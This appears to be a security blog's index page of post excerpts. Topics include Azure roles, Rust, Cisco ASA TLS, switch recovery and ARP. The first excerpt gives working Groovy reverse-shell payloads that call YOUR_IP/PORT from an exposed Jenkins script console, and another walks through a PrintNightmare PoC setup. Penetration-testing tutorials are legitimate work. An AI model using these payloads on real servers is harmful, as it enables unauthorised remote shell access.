Exploiting Jenkins + CVE-2024-23897

Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()   For Windows,   String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea

Azure Active Directory User Types and RBAC built-in roles #CloudScribblings

Azure Active Directory has two types of Users.

1) Member
A member is a normal cloud user. An Active Directory member can read all directory information and can invite external users. They can also manage their own profile information and can register applications in the AD.
2) Guest
Restricted user  who can manage only their own profile data. Cannot browse the directory and cannot register applications in the AD.

RBAC built-in roles (Top 4)
  1. Owner Role : Lets you manage everything, including access to resources.The owner can add permission, perform actions such as delete, stop the resources.
  2. Contributor Role : This role allows a user to manage all types of resources, but does not allow the user to grant access to resources.To allow a user to have the ability to grant access to resources, the user must be assigned with either the User Access Administrator Role or the Owner Role
  3. User Access Administrator Role : In this role, the user can manage the access to resources. The user would be able to read all resources, but can't modify.
  4. Virtual Machine Contributor Role : This allows to manage the properties of the Virtual Machine. This will not provide access to the underlying virtual network or the storage accounts the virtual machine is connected to.

RUST error: linker `link.exe` not found

While compiling Rust program in a windows environment, you may encounter the error : linker `link.exe` not found. This is because of the absence of the C++ build tools in your machine. For compiling Rust programs successfully, one of the prerequisites is the installation of the Build Tools for Visual Studio 2019.   Download the Visual Studio 2019 Build tools from the Microsoft website. After the download, while installing the Build tools, make sure that you install the required components (highlighted in Yellow) This will download around 1.2GB of required files. Once everything is successfully installed, reboot and re-run your rust program and it will compile successfully.   Read More on RUST Hello World Rust Program : Code explained RUST Cargo Package Manager Explained Data Representation in Rust.

Cisco ASA: Disable SSLv3 and configure TLSv1.2.

For configuring TLS v1.2, the ASA should run software version 9.3(2) or later. In earlier versions of ASA, TLS 1.2 is not supported.If you are running the old version, it's time to upgrade. But before that i will show you the config prior to the change. I am running ASA version 9.6.1 Now ,set the server-version to tlsv1.2, though ASA supports version tlsv1.1, its always better to configure the connection to more secure. Server here in the sense, the ASA will be act as the server and the client will connect to the ASA.     #ssl server-version tlsv1.2 set the client-version to tlsv1.2, if required.     #ssl client-version tlsv1.2 ssl cipher command in ASA offers 5 predefined security levels and an additional custom level.     #ssl cipher tlsv1.2 high we can see the setting of each cipher levels using #show ssl cipher command. Now set the DH group to 24, which is the strongest offered as of now in the ASA.     #ssl dh-group group24 An

PrintNightmare (CVE-2021-1675) PoC exploit Walkthrough

I am not an exploit developer but was interested to see how this vulnerability can be exploited. So i tried to replicate the infamous PrintNightmare vulnerability using the following PoCs ( https://github.com/cube0x0/CVE-2021-1675 ) and ( https://github.com/rapid7/metasploit-framework/pull/15385 ) However i had trouble with the new metasploit module (auxiliary/admin/dcerpc/cve_2021_1675_printnightmare) and i couldn't able to exploit the machine successfully. So i tried the second PoC from cube0x0. This one has done the magic. I just followed the guidelines with couple of tweaks. First of all, i installed the impacket (cube0x0 version) which will install the required modules and files. After that i set up a samba share with an anonymous login. This is required for hosting the dll file. I edited the smb.conf with the following settings. [global]     map to guest = Bad User     server role = standalone server     usershare allow guests = yes     idmap config * : backend = tdb     s

Difference between Azure management groups, Subscriptions and Resource groups

image courtesy : https://docs.microsoft.com Azure management groups help you manage your Azure subscriptions by grouping them together. If your organization has many subscriptions, you might need a way to efficiently manage access, policies, and compliance for those subscriptions. Azure management groups provide a level of scope above subscriptions. Azure subscriptions help you organize access to Azure resources and determine how resource usage is reported, billed, and paid for. Each subscription can have a different billing and payment setup, so you can have different subscriptions and plans by office, department, project, and so on. Resource groups are containers that hold related resources for an Azure solution. A resource group includes those resources that you want to manage as a group. You decide which resources belong in a resource group based on what makes the most sense for your organization. reference : https://docs.microsoft.com

Recovery Procedure: Alcatel-Lucent Omni-Switch not booting AOS: Going to Mini-boot prompt.

Problem: Switch not booting AOS; Going to Mini-boot prompt. Model: Alcatel-Lucent OS6850 [Note:The same procedure might be applicable for different models of Omni-Switches, However, for this illustration, i have used OS-6850 ] Reason: This problem may occurs due to corrupt AOS image files or misconfigured boot parameters. Hence switch cannot boot the images properly and will go to Mini-boot prompt.  Work Around: [Note: This zmodem procedure consumes a lot to time to finish the process.] 1.) Power off your OS6850 2.) When you switched it back on, stop it before the Miniboot (there is some counter counting down from 4). Press Enter to break. 3.) You will have the following prompt " => " 4.) Enter " setenv baudrate 115200 ”. Increasing baudrate helps to increase the data transfer speed using zmodem. 5.) Enter " saveenv " 6.) Enter " boot " 7.) The switch should run now in baud rate 115200 (so you have to change your clients ter

What is a Gratuitous ARP? How is it used in Network attacks?

Many of us encountered the word "Gratuitous" while exploring the network topic on ARP, The Address Resolution Protocol. Before explaining Gratuitous ARP, here is a quick review on how ARP works. ARP provides IP communication within a Layer 2 broadcast domain by mapping an IP address to a MAC address.For example, Host B wants to send information to Host A but does not have the MAC address of Host A in its ARP cache. Host B shoots a broadcast message for all hosts within the broadcast domain to obtain the MAC address associated with the IP address of Host A. All hosts within the same broadcast domain receive the ARP request, and Host A responds with its MAC address. We can see the ARP entries on our computers by entering the command arp -a . So, back to the topic on what is a Gratuitous reply, here is a better explanation. Gratuitous arp is when a device will send an ARP packet that is not a response to a request. Ideally a gratuitous ARP request is an ARP request packe
